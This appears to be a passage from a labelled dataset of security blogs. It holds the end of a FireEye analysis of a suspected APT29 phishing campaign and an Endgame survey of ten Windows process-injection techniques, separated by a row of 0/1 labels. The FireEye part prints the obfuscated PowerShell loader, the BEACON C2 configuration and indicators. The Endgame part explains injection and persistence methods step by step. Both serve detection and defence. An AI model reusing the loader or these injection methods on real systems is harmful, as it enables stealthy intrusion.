APT29 attribution is strengthened, it would be the first activity uncovered from this sophisticated group in at least a year. Given the widespread nature of the targeting, organizations that have previously been targeted by APT29 should take note of this activity. For network defenders, whether or not this activity was conducted by APT29 should be secondary to properly investigating the full scope of the intrusion, which is of critical importance if the elusive and deceptive APT29 operators indeed had access to your environment. \xc2 Technical Details Phishing Emails were sent from DOSOneDriveNotifications-svCT-Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm[.]org with the subject Stevenson, Susan N shared ""TP18-DS7002 (UNCLASSIFIED)"" with you. The distribution of emails varied significantly between the affected organizations. While most targeted FireEye customers received three or fewer emails, some received significantly more, with one customer receiving 136. Each phishing email contained a unique malicious URL, likely for tracking victim clicks. The pattern of this URL is shown in Figure 2. Figure 2: Malicious URL structure Outside of the length of the sender email address, which may have been truncated on some recipient email clients, the attacker made little effort to hide the true source of the emails, including that they were not actually sent from the Department of State. Figure 3 provides a redacted snapshot of email headers from the phishing message. Figure 3: Redacted email headers The malicious links are known to have served two variants of the file ds7002.zip. The first variant (MD5: 3fccf531ff0ae6fedd7c586774b17a2d), contained ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c). ds7002.lnk was a malicious shortcut (LNK) file that contained an embedded BEACON DLL and decoy PDF, and was crafted to launch a PowerShell command. On execution, the PowerShell command extracted and executed the Cobalt Strike BEACON backdoor and decoy PDF. The other observed variant of ds7002.zip (MD5: 658c6fe38f95995fa8dc8f6cfe41df7b) contained only the benign decoy document. The decoy document ds7002.pdf (MD5: 313f4808aa2a2073005d219bc68971cd) appears to have been downloaded from hxxps://eforms.state.gov/Forms/ds7002.PDF. The BEACON backdoor communicated with the C2 domain pandorasong[.]com (95.216.59[.]92). The domain leveraged privacy protection, but had a start of authority (SOA) record containing vleger@tutanota.com. Our analysis indicates that the attacker started configuring infrastructure approximately 30 days prior to the attack. This is a significantly longer delay than many other attackers we track. Table 1 contains a timeline of this activity. Time Event Source 2018-10-15 15:35:19Z pandorasong[.]com registered Registrant Information 2018-10-15 17:39:00Z pandorasong[.]com SSL certificate established Certificate Transparency 2018-10-15 18:52:06Z Cobalt Strike server established Scan Data 2018-11-02 10:25:58Z LNK Weaponized LNK Metadata 2018-11-13 17:58:41Z 3fccf531ff0ae6fedd7c586774b17a2d modified Archive Metadata 2018-11-14 01:48:34Z 658c6fe38f95995fa8dc8f6cfe41df7b modified Archive Metadata 2018-11-14 08:23:10Z First observed phishing e-mail sent Telemetry Table 1: Operational timeline Execution Upon execution of the malicious LNK, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), the following PowerShell command was executed: \\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -noni -ep bypass $zk='JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5 rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0ZW0gLVBhdGggJE Vudjp0ZW1wIC1GaWx0ZXIgJHRiIC1SZWN1cnNlO2lmICgtbm90ICRvZSkge2V4aXR9W 0lPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJG9lLkRpcmVjdG9yeU5hbWUp O30kdnp2aT1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJHRiLCdPcGVuJywnUmVhZCcsJ 1JlYWRXcml0ZSc7JG9lPU5ldy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QpOyRyPSR2en ZpLlNlZWsoJHB0Z3QsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmVhZC gkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRdOjpGcm9tQmFzZTY0Q2hhckFy cmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ0lJL kdldFN0cmluZygkb2UpO2lleCAkems7';$fz='FromBase'+0x40+'String';$rhia=[Text.E ncoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex $rhia; This command included some specific obfuscation, which may indicate attempts to bypass specific detection logic. For example, the use of 'FromBase'+0x40+'String', in place of FromBase64String, the PowerShell command used to decode base64. The decoded command consisted of additional PowerShell that read the content of ds7002.lnk from offset 0x5e2be to offset 0x623b6, base64 decoded the extracted content, and executed it as additional PowerShell content. The embedded PowerShell code decoded to the following: $ptgt=0x0005e2be; $vcq=0x000623b6; $tb=""ds7002.lnk""; if (-not(Test-Path $tb)) { $oe=Get-ChildItem -Path $Env:temp -Filter $tb -Recurse; if (-not $oe) { \xc2 \xc2 exit } [IO.Directory]::SetCurrentDirectory($oe.DirectoryName); } $vzvi=New-Object IO.FileStream $tb,'Open','Read','ReadWrite'; $oe=New-Object byte[]($vcq-$ptgt); $r=$vzvi.Seek($ptgt,[IO.SeekOrigin]::Begin); $r=$vzvi.Read($oe,0,$vcq-$ptgt); $oe=[Convert]::FromBase64CharArray($oe,0,$oe.Length); $zk=[Text.Encoding]::ASCII.GetString($oe); iex $zk; When the decoded PowerShell is compared to the older 2016 PowerShell embedded loader (Figure 4), it's clear that similarities still exist. However, the new activity leverages randomized variable and function names, as well as obfuscating strings contained in the script. Figure 4: Shared functions to loader in older activity (XOR decode function and CopyFilePart) The PowerShell loader code is obfuscated, but a short de-obfuscated snippet is shown as follows. The decoy PDF and BEACON loader DLL are read from specific offsets within the LNK, decoded, and their contents executed. The BEACON loader DLL is executed with the export function ""PointFunctionCall"": [TRUNCATED] $jzffhy = [IO.FileAccess]::READ $gibisec = myayxvj $(""ds7002.lnk"") $oufgke = 0x48bd8 $wabxu = 0x5e2be - $oufgke $lblij = bygtqi $gibisec $oufgke $wabxu $(""%TEMP%\\ds7002.PDF"") Invoke-Item $((lylyvve @((7,(30 + 0x34 - 3),65,(84 - 5),(-38 + 112),(-16 + 0x25 + 52))) 35)) $oufgke = 0x0dd8 $wabxu = 0x48bd8 - $oufgke $yhcgpw = bygtqi $gibisec $oufgke $wabxu $(""%LOCALAPPDATA%\\cyzfc.dat"") if ($ENV:PROCESSOR_ARCHITECTURE -eq $(""AMD64"")) { & ($(""rundll32.exe"")) $("","") $(""PointFunctionCall"") } Files Dropped Upon successful execution of the LNK file, it dropped the following files to the victim's system: %APPDATA%\\Local\\cyzfc.dat (MD5: 16bbc967a8b6a365871a05c74a4f345b) BEACON loader DLL %TEMP%\\ds7002.PDF (MD5: 313f4808aa2a2073005d219bc68971cd) Decoy document The dropped BEACON loader DLL was executed by RunDll32.exe using the export function ""PointFunctionCall"": ""C:\\Windows\\system32\\rundll32.exe"" C:\\Users\\Administrator\\AppData\\Local\\cyzfc.dat, PointFunctionCall The BEACON payload included the following configuration: authorization_id: 0x311168c dns_sleep: 0 http_headers_c2_post_req: \xc2 Accept: */* \xc2 Content-Type: text/xml \xc2 X-Requested-With: XMLHttpRequest \xc2 Host: pandorasong.com http_headers_c2_request: \xc2 Accept: */* \xc2 GetContentFeatures.DLNA.ORG: 1 \xc2 Host: pandorasong[.]com \xc2 Cookie:\xc2 __utma=310066733.2884534440.1433201462.1403204372.1385202498.7; jitter: 17 named_pipes: \\\\\\\\%s\\\\pipe\\\\msagent_%x process_inject_targets: \xc2 %windir%\\\\syswow64\\\\rundll32.exe \xc2 %windir%\\\\sysnative\\\\rundll32.exe beacon_interval: 300 c2: \xc2 conntype: SSL \xc2 host: pandorasong[.]com \xc2 port: 443 c2_urls: \xc2 pandorasong[.]com/radio/xmlrpc/v45 \xc2 pandorasong[.]com/access/ c2_user_agents: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Network Communications After successful installation/initialization of the malware, it made the following callback to the C2 server pandorasong[.]com via TCP/443 SSL. The sample was configured to use a malleable C2 profile for its network communications. The specific profile used appears to be a modified version of the publicly available Pandora C2 profile. The profile may have been changed to bypass common detections for the publicly available malleable profiles. The following is a sample GET request: GET /access/?version=4&lid=1582502724&token=ajlomeomnmeapoagcknffjaehikhmpep Bdhmoefmcnoiohgkkaabfoncfninglnlbmnaahmhjjfnopdapdaholmanofaoodkiokobenhjd Mjcmoagoimbahnlbdelchkffojeobfmnemdcoibocjgnjdkkbfeinlbnflaeiplendldlbhnhjmbg agigjniphmemcbhmaibmfibjekfcimjlhnlamhicakfmcpljaeljhcpbmgblgnappmkpbcko HTTP/1.1 Accept: */* GetContentFeatures.DLNA.ORG: 1 Host: pandorasong.com Cookie: __utma=310066733.2884534440.1433201462.1403204372.1385202498.7; User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache Similarities to Older Activity Figure 5 and Figure 6 show the overlapping characteristics between the LNK used in the recent spear phish emails, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), compared to a suspected APT29 LNK from the November 2016 attack that led to the SPIKERUSH backdoor, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5: f713d5df826c6051e65f995e57d6817d). Figure 5: LNK characteristics: new activity (left) and old activity (right) Figure 6: LNK characteristics: new activity (left) and old activity (right) In addition to similar LNK characteristics, the PowerShell command is very similar to the code from the older sample that executed the SPIKERUSH backdoor. Some of the same variable names are retained in this new version, as seen in Figure 7 and Figure 8. Figure 7: Embedded PowerShell: new activity (left) and old activity (right) Figure 8: Shared string obfuscation logic: new LNK activity (left) and old VERNALDROP activity (right) Indicators Indicator Description dosonedrivenotifications-svct-mailboxe36625aaa85747214aa50342836a2315aaa36 928202aa46271691a8255aaa15382822aa25821925a 0245@northshorehealthgm[.]org Phishing email address from likely compromised legitimate server Stevenson, Susan N shared ""TP18-DS7002 (UNCLASSIFIED)"" with you Phishing email subject https://www.jmj[.]com/personal/nauerthn_state_gov/* Malware hosting location on likely compromised legitimate domain pandorasong[.]com BEACON C2 95.216.59[.]92 Resolution of pandorasong[.]com 2b13b244aafe1ecace61ea1119a1b2ee SSL certificate for pandorasong[.]com 3fccf531ff0ae6fedd7c586774b17a2d Malicious ZIP archive MD5 658c6fe38f95995fa8dc8f6cfe41df7b Benign ZIP archive MD5 6ed0020b0851fb71d5b0076f4ee95f3c Malicious LNK file MD5 313f4808aa2a2073005d219bc68971cd Benign decoy PDF MD5 16bbc967a8b6a365871a05c74a4f345b BEACON DLL MD5 %APPDATA%\\Local\\cyzfc.dat BEACON DLL file path %TEMP%\\ds7002.PDF Benign decoy PDF file path Table 2: Indicators Related Samples 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5: f713d5df826c6051e65f995e57d6817d) FireEye Detection FireEye detected this activity across our platform. Table 3 contains the specific detection names that applied to this activity. Product Detection names Network Security Malware.Archive Malware.Binary.lnk Suspicious.Backdoor.Beacon Endpoint Security SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) Generic.mg.16bbc967a8b6a365 Threat Analytics Platform WINDOWS METHODOLOGY [PowerShell Base64 String] WINDOWS METHODOLOGY [Rundll32 Roaming] WINDOWS METHODOLOGY [PowerShell Script Block Warning] WINDOWS METHODOLOGY [Base64 Char Args] TADPOLE DOWNLOADER [Rundll Args] INTEL HIT - IP [Structured Threat Reputation-Based] INTEL HIT - FQDN [Structured Threat Reputation-Based] [DNS] INTEL HIT - FQDN [Structured Threat Reputation-Based] [Non-DNS] INTEL HIT - FILE HASH [Structured Threat Reputation-Based] Table 3: FireEye product detections Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","1","0","1","0","0","1","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0" -"Ten Process Injection Techniques: A Technical Survey of Common and Trending Process Injection Techniques | Endgame BLOG REQUEST DEMO Toggle navigation Endgame Why\xc2 Endgame Why\xc2 Endgame Compliance\xc2 and\xc2 Certification MITRE\xc2 ATT&CK\xc2 Coverage Phishing Intelligent\xc2 Automation Federal\xc2 Government Gartner\xc2 Magic\xc2 Quadrant Platform Endgame\xc2 Platform Prevention Detection\xc2 and\xc2 Response Company Our\xc2 Company Leadership Services Partners News Press\xc2 Releases Customer\xc2 Support CAREERS Contact Resources All Product\xc2 Info Industry\xc2 Insights Community\xc2 Tools Endgame\xc2 Events Endgame\xc2 Blog Videos \xc2 Search OUR BLOG Blog All Technical Blog Executive Blog REQUEST DEMO Ten Process Injection Techniques: A Technical Survey of Common and Trending Process Injection Techniques Ashkan Hosseini July 18, 2017 Process injection is a widespread defense evasion technique\xc2 employed often within malware and fileless adversary tradecraft, and entails\xc2 running custom code within the address space of another process.\xc2 Process injection improves stealth, and some techniques also achieve persistence. Although there are numerous process injection techniques, in this blog I present ten techniques seen in the wild that run malware code on behalf of another process. I additionally provide screenshots for many of these techniques to facilitate reverse engineering and malware analysis, assisting detection and defense against these common techniques.\xc2 \xc2 1. Classic DLL Injection Via CreateRemoteThread and LoadLibrary This technique is one of the most common techniques used to inject malware into another process. The malware writes the path to its malicious dynamic-link library (DLL) in the virtual address space of another process, and ensures the remote process loads it by creating a remote thread in the target process. \xc2 The malware first needs to target a process for injection (e.g. svchost.exe). This is usually done by searching through processes by calling a trio of Application Program Interfaces (APIs): CreateToolhelp32Snapshot, Process32First, and Process32Next. CreateToolhelp32Snapshot is an API used for enumerating heap or module states of a specified process or all processes, and it returns a snapshot. Process32First retrieves information about the first process in the snapshot, and then Process32Next is used in a loop to iterate through them. After finding the target process, the malware gets the handle of the target process by calling OpenProcess. As shown in Figure 1, the malware calls VirtualAllocEx to have a space to write the path to its DLL. The malware then calls WriteProcessMemory to write the path in the allocated memory. Finally, to have the code executed in another process, the malware calls APIs such as CreateRemoteThread, NtCreateThreadEx, or RtlCreateUserThread. The latter two are undocumented. However, the general idea is to pass the address of LoadLibrary to one of these APIs so that a remote process has to execute the DLL on behalf of the malware. CreateRemoteThread is tracked and flagged by many security products. \xc2 Further, it requires a malicious DLL on disk which could be detected. \xc2 Considering that attackers are most commonly injecting code to evade defenses, sophisticated attackers probably will not use this approach. The screenshot below displays a malware named Rebhip performing this technique. \xc2 Figure 1: Rebhip worm performing a typical DLL injection Sha256: 07b8f25e7b536f5b6f686c12d04edc37e11347c8acd5c53f98a174723078c365 \xc2 2. Portable Executable Injection (PE Injection) Instead of passing the address of the LoadLibrary, malware can copy its malicious code into an existing open process and cause it to execute (either via a small shellcode, or by calling CreateRemoteThread). One advantage of PE injection over the LoadLibrary technique is that the malware does not have to drop a malicious DLL on the disk. Similar to the first technique, the malware allocates memory in a host process (e.g. VirtualAllocEx), and instead of writing a \xe2\x80\x9cDLL path\xe2\x80\x9d it writes its malicious code by calling WriteProcessMemory. However, the obstacle with this approach is the change of the base address of the copied image. When a malware injects its PE into another process it will have a new base address which is unpredictable, requiring it to dynamically recompute the fixed addresses of its PE. To overcome this, the malware needs to find its relocation table address in the host process, and resolve the absolute addresses of the copied image by looping through its relocation descriptors. \xc2 \xc2 This technique is similar to other techniques, such as reflective DLL injection and memory module, since they do not drop any files to the disk. However, memory module and reflective DLL injection approaches are even stealthier. They do not rely on any extra Windows APIs (e.g., CreateRemoteThread or LoadLibrary), because they load and execute themselves in the memory. Reflective DLL injection works by creating a DLL that maps itself into memory when executed, instead of relying on the Window\xe2\x80\x99s loader. Memory Module is similar to Reflective DLL injection except the injector or loader is responsible for mapping the target DLL into memory instead of the DLL mapping itself. In a previous blog post, these two in memory approaches were discussed extensively. When analyzing PE injection, it is very common to see loops (usually two \xe2\x80\x9cfor\xe2\x80\x9d loops, one nested in the other), before a call to CreateRemoteThread. \xc2 This technique is quite popular among crypters (softwares that encrypt and obfuscate malware). In Figure 2, the sample unit test is taking advantage of this technique. The code has two nested loops to adjust its relocation table that can be seen before the calls to WriteProcessMemory and CreateRemoteThread. The \xe2\x80\x9cand 0x0fff\xe2\x80\x9d instruction is also another good indicator, showing that the first 12 bits are used to get the offset into the virtual address of the containing relocation block. Now that the malware has recomputed all the necessary addresses, all it needs to do is pass its starting address to CreateRemoteThread and have it executed. \xc2 Figure 2: Example structure of the loops for PE injection prior to calls to CreateRemoteThread Sha256: ce8d7590182db2e51372a4a04d6a0927a65b2640739f9ec01cfd6c143b1110da \xc2 3. Process Hollowing (a.k.a Process Replacement and RunPE) Instead of injecting code into a host program (e.g., DLL injection), malware can perform a technique known as process hollowing. Process hollowing occurs when a malware unmaps (hollows out) the legitimate code from memory of the target process, and overwrites the memory space of the target process (e.g., svchost.exe) with a malicious executable. \xc2 The malware first creates a new process to host the malicious code in suspended mode. As shown in Figure 3, this is done by calling CreateProcess and setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004). The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called. Next, the malware needs to swap out the contents of the legitimate file with its malicious payload. This is done by unmapping the memory of the target process by calling either ZwUnmapViewOfSection or NtUnmapViewOfSection. These two APIs basically release all memory pointed to by a section. Now that the memory is unmapped, the loader performs VirtualAllocEx to allocate new memory for the malware, and uses WriteProcessMemory to write each of the malware\xe2\x80\x99s sections to the target process space. The malware calls SetThreadContext to point the entrypoint to a new code section that it has written. At the end, the malware resumes the suspended thread by calling ResumeThread to take the process out of suspended state. \xc2 Figure 3: Ransom.Cryak performing process hollowing Sha256:\xc2 eae72d803bf67df22526f50fc7ab84d838efb2865c27aef1a61592b1c520d144 \xc2 4. Thread Execution Hijacking (a.k.a Suspend, Inject, and Resume (SIR)) This technique has some similarities to the process hollowing technique previously discussed. In thread execution hijacking, malware targets an existing thread of a process and avoids any noisy process or thread creations operations. Therefore, during analysis you will probably see calls to CreateToolhelp32Snapshot and Thread32First followed by OpenThread. \xc2 After getting a handle to the target thread, the malware puts the thread into suspended mode by calling SuspendThread to perform its injection. The malware calls VirtualAllocEx and WriteProcessMemory to allocate memory and perform the code injection. The code can contain shellcode, the path to the malicious DLL, and the address of LoadLibrary. Figure 4 illustrates a generic trojan using this technique. In order to hijack the execution of the thread, the malware modifies the EIP register (a register that contains the address of the next instruction) of the targeted thread by calling SetThreadContext. Afterwards, malware resumes the thread to execute the shellcode that it has written to the host process. From the attacker\xe2\x80\x99s perspective, the SIR approach can be problematic because suspending and resuming a thread in the middle of a system call can cause the system to crash. To avoid this, a more sophisticated malware would resume and retry later if the EIP register is within the range of NTDLL.dll. Figure 4: A generic trojan is performing thread execution hijacking Sha256: 787cbc8a6d1bc58ea169e51e1ad029a637f22560660cc129ab8a099a745bd50e \xc2 5. Hook Injection via SetWindowsHookEx Hooking is a technique used to intercept function calls. Malware can leverage hooking functionality to have their malicious DLL loaded upon an event getting triggered in a specific thread. This is usually done by calling SetWindowsHookEx to install a hook routine into the hook chain. The SetWindowsHookEx function takes four arguments. The first argument is the type of event. The events reflect the range of hook types, and vary from pressing keys on the keyboard (WH_KEYBOARD) to inputs to the mouse (WH_MOUSE), CBT, etc. The second argument is a pointer to the function the malware wants to invoke upon the event execution.The third argument is a module that contains the function. Thus, it is very common to see calls to LoadLibrary and GetProcAddress before calling SetWindowsHookEx. The last argument to this function is the thread with which the hook procedure is to be associated. If this value is set to zero all threads perform the action when the event is triggered. However, malware usually targets one thread for less noise, thus it is also possible to see calls CreateToolhelp32Snapshot and Thread32Next before SetWindowsHookEx to find and target a single thread. Once the DLL is injected, the malware executes its malicious code on behalf of the process that its threadId was passed to SetWindowsHookEx function. In Figure 5, Locky Ransomware implements\xc2 this technique. Figure 5: Locky Ransomware using hook injection Sha256: 5d6ddb8458ee5ab99f3e7d9a21490ff4e5bc9808e18b9e20b6dc2c5b27927ba1 \xc2 6. Injection and Persistence via Registry Modification (e.g. AppInit_DLLs, AppCertDlls, IFEO) Appinit_DLL, AppCertDlls, and IFEO (Image File Execution Options) are all registry keys that malware uses for both injection and persistence. The entries are located at the following locations: \xc2 \xc2 HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Appinit_Dlls \xc2 \xc2 HKLM\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Appinit_Dlls \xc2 \xc2 HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls \xc2 \xc2 HKLM\\Software\\Microsoft\\Windows NT\\currentversion\\image file execution options AppInit_DLLs Malware can insert the location of their malicious library under the Appinit_Dlls registry key to have another process load their library. Every library under this registry key is loaded into every process that loads User32.dll. User32.dll is a very common library used for storing graphical elements such as dialog boxes. Thus, when a malware modifies this subkey, the majority of processes will load the malicious library. Figure 6 demonstrates the trojan Ginwui relying on this approach for injection and persistence. It simply opens the Appinit_Dlls registry key by calling RegCreateKeyEx, and modifies its values by calling RegSetValueEx. \xc2 Figure 6: Ginwui modifying the AppIniti_DLLs registry key Sha256: 9f10ec2786a10971eddc919a5e87a927c652e1655ddbbae72d376856d30fa27c \xc2 AppCertDlls This approach is very similar to the AppInit_DLLs approach, except that DLLs under this registry key are loaded into every process that calls the Win32 API functions CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, CreateProcessWithTokenW, and WinExec. \xc2 Image File Execution Options (IFEO) IFEO is typically used for debugging purposes. Developers can set the \xe2\x80\x9cDebugger Value\xe2\x80\x9d under this registry key to attach a program to another executable for debugging. Therefore, whenever the executable is launched the program that is attached to it will be launched. To use this feature you can simply give the path to the debugger, and attach it to the executable that you want to analyze. Malware can modify this registry key to inject itself into the target executable. In Figure 7, Diztakun trojan implements this technique by modifying the debugger value of Task Manager. \xc2 Figure 7: Diztakun trojan modifying IFEO registry key Sha256: f0089056fc6a314713077273c5910f878813fa750f801dfca4ae7e9d7578a148 \xc2 7. APC Injection and AtomBombing Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alterable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alterable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread. QueueUserAPC takes three arguments: 1) a handle to the target thread; 2) a pointer to the function that the malware wants to run; 3) and the parameter that is passed to the function pointer. In Figure 8, Amanahe malware first calls OpenThread to acquire a handle of another thread, and then calls QueueUserAPC with LoadLibraryA as the function pointer to inject its malicious DLL into another thread. AtomBombing is a technique that was first introduced by enSilo research, and then used in Dridex V4. As we discussed in detail in a previous post, the technique also relies on APC injection. However, it uses atom tables for writing into memory of another process. \xc2 Figure 8: Almanahe performing APC injection Sha256:\xc2 f74399cc0be275376dad23151e3d0c2e2a1c966e6db6a695a05ec1a30551c0ad \xc2 8. Extra Window Memory Injection (EWMI) Via SetWindowLong EWMI relies on injecting into Explorer tray window\xe2\x80\x99s extra window memory, and has been used a few times among malware families such as Gapz and PowerLoader. When registering a window class, an application can specify a number of additional bytes of memory, called extra window memory (EWM). However, there is not much room in EWM. To circumvent this limitation, the malware writes code into a shared section of explorer.exe, and uses SetWindowLong and SendNotifyMessage to have a function pointer to point to the shellcode, and then execute it. The malware has two options when it comes to writing into a shared section. It can either create a shared section and have it mapped both to itself and to another process (e.g., explorer.exe), or it can simply open a shared section that already exists. The former has the overhead of allocating heap space and calling NTMapViewOfSection in addition to a few other API calls, so the latter approach is used more often. After malware writes its shellcode in a shared section, it uses GetWindowLong and SetWindowLong to access and modify the extra window memory of \xe2\x80\x9cShell_TrayWnd\xe2\x80\x9d. GetWindowLong is an API used to retrieve the 32-bit value at the specified offset into the extra window memory of a window class object, and SetWindowLong is used to change values at the specified offset. By doing this, the malware can simply change the offset of a function pointer in the window class, and point it to the shellcode written to the shared section. Like most other techniques mentioned above, the malware needs to trigger the code that it has written. In previously discussed techniques, malware achieved this by calling APIs such as CreateRemoteThread, QueueUserAPC, or SetThreadContext. With this approach, the malware instead triggers the injected code by calling SendNotifyMessage. Upon execution of SendNotifyMessage, Shell_TrayWnd receives and transfers control to the address pointed to by the value previously set by SetWindowLong. In Figure 9, a malware named PowerLoader uses this technique. \xc2 \xc2 Figure 9: PowerLoader injecting into extra window memory of shell tray window Sha256: 5e56a3c4d4c304ee6278df0b32afb62bd0dd01e2a9894ad007f4cc5f873ab5cf \xc2 9. Injection using Shims Microsoft provides Shims to developers mainly for backward compatibility. Shims allow developers to apply fixes to their programs without the need of rewriting code. By leveraging shims, developers can tell the operating system how to handle their application. Shims are essentially a way of hooking into APIs and targeting specific executables. Malware can take advantage of shims to target an executable for both persistence and injection. Windows runs the Shim Engine when it loads a binary to check for shimming databases in order to apply the appropriate fixes. There are many fixes that can be applied, but malware\xe2\x80\x99s favorites are the ones that are somewhat security related (e.g., DisableNX, DisableSEH, InjectDLL, etc). To install a shimming database, malware can deploy various approaches. For example, one common approach is to simply execute sdbinst.exe, and point it to the malicious sdb file. In Figure 10, an adware, \xc2 \xe2\x80\x9cSearch Protect by Conduit\xe2\x80\x9d, \xc2 uses a shim for persistence and injection. It performs an \xe2\x80\x9cInjectDLL\xe2\x80\x9d shim into Google Chrome to load vc32loader.dll. There are a few existing tools for analyzing sdb files, but for the analysis of the sdb listed below, I used python-sdb. \xc2 Figure10: SDB used by Search Protect for injection purposes Sha256: 6d5048baf2c3bba85adc9ac5ffd96b21c9a27d76003c4aa657157978d7437a20 10. IAT Hooking and Inline Hooking (a.k.a userland rootkits) IAT hooking and inline hooking are generally known as userland rootkits. IAT hooking is a technique that malware uses to change the import address table. When a legitimate application calls an API located in a DLL, the replaced function is executed instead of the original one. In contrast, with inline hooking, malware modifies the API function itself. In Figure 11, the malware FinFisher, performs IAT hooking by modifying where the CreateWindowEx points. \xc2 \xc2 Figure 11: FinFisher performing IAT hooking by changing where CreateWindowEx points to Sha256: f827c92fbe832db3f09f47fe0dcaafd89b40c7064ab90833a1f418f2d1e75e8e \xc2 Conclusion In this post, I covered ten different techniques that malware uses to hide its activity in another process. In general, malware either directly injects its shellcode into another process or it forces another process to load its malicious library. In Table 1, I have classified the various techniques and provided samples to serve as a reference for observing each injection technique covered in this post. The figures included throughout the post will help the researcher recognize the various techniques when reversing malware. \xc2 Table1: Process injection can be done by directly injecting code into another process, or by forcing a DLL to be loaded into another process Attackers and researchers regularly discover new techniques to achieve injection and provide stealth. This post detailed ten common and emerging techniques, but there are others, such as COM hijacking. Defenders will never be \xe2\x80\x9cdone\xe2\x80\x9d in their mission to detect and prevent stealthy process injection because adversaries will never stop innovating. At Endgame, we constantly research advanced stealth techniques and bring protections into our product. We layer capabilities which detect malicious DLLs that load on some persistence (like AppInit DLLs, COM Hijacks, and more), prevent many forms of code injection in real-time via our patented shellcode injection protection, and detect malicious injected payloads running in memory delivered through any of the above techniques through our patent-pending fileless attack detection techniques. This approach allows our platform to be more effective than any other product on the market in protecting against code injection, while also maximizing resiliency against bypass due to emerging code injection techniques. \xc2 Related Posts June 05, 2018 Introducing Event Query Language VIEW DETAILS August 29, 2017 Transparency in Third-Party Testing VIEW DETAILS August 14, 2018 Plight at the End of the Tunnel VIEW DETAILS November 09, 2017 Stopping Certified Malware VIEW DETAILS Blog All Technical Blog Executive Blog Explore Why Endgame Platform Company Resources News Cyber Security Dictionary Prevention Detection & Response Threat Hunting MITRE ATT&CK Phishing Intelligent Automation Ransomware Machine Learning Replace Your Antivirus Endgame News Connect 3101 Wilson Blvd Suite 500 Arlington, VA 22201 703-650-1250 Contact Us Privacy Request a Demo \xc2\xa9 Endgame 